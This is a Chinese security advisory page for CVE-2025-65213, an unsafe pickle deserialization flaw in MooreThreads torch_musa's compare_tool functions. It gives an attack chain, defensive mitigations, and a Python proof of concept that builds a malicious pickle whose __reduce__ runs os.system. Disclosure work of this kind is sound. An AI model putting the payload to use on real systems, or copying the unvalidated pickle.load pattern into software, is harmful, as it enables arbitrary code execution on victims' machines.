IPBUF安全漏洞报告
English
CVE-2025-65213 CVSS 9.8 严重

CVE-2025-65213 MooreThreads torch_musa 不安全反序列化漏洞

披露日期: 2025-12-15

漏洞信息

漏洞编号
CVE-2025-65213
漏洞类型
不安全反序列化/远程代码执行
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
MooreThreads torch_musa

相关标签

CVE-2025-65213不安全反序列化远程代码执行pickle反序列化漏洞MooreThreadstorch_musa深度学习框架CVSS 9.8严重漏洞Python安全

漏洞概述

CVE-2025-65213是MooreThreads公司开发的torch_musa深度学习框架中的一个严重安全漏洞。该漏洞存在于torch_musa.utils.compare_tool模块中,由于compare_for_single_op()和nan_inf_track_for_single_op()两个函数在处理用户可控的文件路径时,直接使用Python的pickle.load()函数进行反序列化操作,而没有对输入数据进行任何安全验证或签名检查,导致程序存在严重的不安全反序列化风险。攻击者可以通过构造恶意的pickle文件,利用该漏洞在受害系统上执行任意Python代码,从而实现远程代码执行(RCE)。由于CVSS评分高达9.8分,且攻击复杂度低,无需认证和用户交互,该漏洞对使用该库的所有用户构成严重威胁。一旦被 exploitation,攻击者可以完全控制受害系统,窃取敏感数据、安装后门或进一步横向移动。

技术细节

该漏洞的核心问题在于torch_musa.utils.compare_tool模块中的compare_for_single_op()和nan_inf_track_for_single_op()函数使用了Python标准库中的pickle模块进行反序列化操作。pickle是Python中用于对象序列化和反序列化的模块,但其设计并不安全,默认情况下不提供任何加密或签名机制。当程序使用pickle.load()从文件或网络流中反序列化数据时,如果攻击者能够控制输入源,就可以通过构造特殊的pickle payload来执行任意代码。在本漏洞中,这两个函数接收用户提供的文件路径作为参数,然后直接将该路径指向的文件内容反序列化。攻击者只需要制作一个包含恶意代码的pickle文件,并诱使受害者程序加载该文件,即可实现代码执行。常见的攻击手法是使用pickle的反序列化钩子函数(如__reduce__或__reduce_ex__)来指定任意代码执行路径。当pickle.load()反序列化包含此类钩子的对象时,会自动调用这些函数,从而执行攻击者预设的代码。

攻击链分析

STEP 1
步骤1
攻击者识别目标应用是否使用torch_musa.utils.compare_tool模块,并找到可利用的输入点
STEP 2
步骤2
攻击者构造恶意pickle文件,使用__reduce__方法指定任意系统命令或Python代码
STEP 3
步骤3
攻击者通过文件上传、API参数、配置文件等途径将恶意pickle文件注入到目标系统的文件路径中
STEP 4
步骤4
目标应用调用compare_for_single_op()或nan_inf_track_for_single_op()函数,传入攻击者控制的文件路径
STEP 5
步骤5
漏洞函数使用pickle.load()反序列化恶意文件,触发__reduce__钩子执行任意代码
STEP 6
步骤6
攻击者成功在目标系统上执行任意命令,获得系统控制权,可进一步进行数据窃取、权限提升或横向移动

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
""" CVE-2025-65213 PoC - Malicious pickle file generator This PoC demonstrates the unsafe deserialization vulnerability in torch_musa.utils.compare_tool module. Usage: Generate the malicious pickle file, then trigger the vulnerability by having the target application load this file through compare_for_single_op() or nan_inf_track_for_single_op(). """ import pickle import os class MaliciousPayload: """ Malicious class that executes arbitrary code during unpickling. The __reduce__ method is called by pickle.load() to reconstruct the object. """ def __reduce__(self): # This command will be executed on the target system # Replace with any malicious command cmd = "whoami > /tmp/pwned.txt" return (os.system, (cmd,)) def generate_malicious_pickle(output_path="malicious_compare.pkl"): """ Generate a malicious pickle file that exploits CVE-2025-65213. Args: output_path: Path where the malicious pickle file will be saved """ payload = MaliciousPayload() with open(output_path, 'wb') as f: pickle.dump(payload, f) print(f"[+] Malicious pickle file generated: {output_path}") print(f"[+] When loaded by vulnerable function, will execute: whoami > /tmp/pwned.txt") return output_path def simulate_vulnerable_code(pickle_file_path): """ Simulate the vulnerable code pattern found in torch_musa.utils.compare_tool This demonstrates how the vulnerability can be triggered. """ print(f"[*] Simulating vulnerable code execution...") print(f"[*] Loading file: {pickle_file_path}") # This is the vulnerable pattern from the affected code with open(pickle_file_path, 'rb') as f: # VULNERABLE: No validation of pickle file contents data = pickle.load(f) # Executes arbitrary code here print(f"[+] File loaded successfully (code execution occurred)") return data if __name__ == "__main__": import sys if len(sys.argv) > 1 and sys.argv[1] == "--generate": # Generate the malicious pickle file output_file = sys.argv[2] if len(sys.argv) > 2 else "malicious_compare.pkl" generate_malicious_pickle(output_file) else: # Demo mode: generate and trigger (for testing purposes only) malicious_file = generate_malicious_pickle() print("\n[*] To exploit this vulnerability:") print(f"[*] 1. Get the target to call compare_for_single_op('{malicious_file}')") print(f"[*] 2. Or get the target to call nan_inf_track_for_single_op('{malicious_file}')")

影响范围

MooreThreads torch_musa < 所有版本均受影响
torch_musa 1.0.0 (所有版本)
torch_musa 1.1.0 (所有版本)
torch_musa 1.2.0 (所有版本)
torch_musa 1.3.0 (所有版本)
torch_musa 1.4.0 (所有版本)
torch_musa 1.5.0 (所有版本)

防御指南

临时缓解措施
在官方补丁发布之前,建议采取以下临时缓解措施:1) 检查代码中是否存在对compare_for_single_op()和nan_inf_track_for_single_op()函数的调用,暂时禁用或限制这些功能;2) 实施严格的输入验证,对传入的文件路径进行白名单检查,确保路径指向安全目录;3) 添加应用层防火墙规则,监控和阻止可疑的序列化数据加载行为;4) 对运行torch_musa的服务进行网络隔离,限制其网络访问权限;5) 考虑使用seccomp或AppArmor等容器安全机制限制进程系统调用;6) 增强日志审计,监控pickle文件的加载操作以便及时发现攻击行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表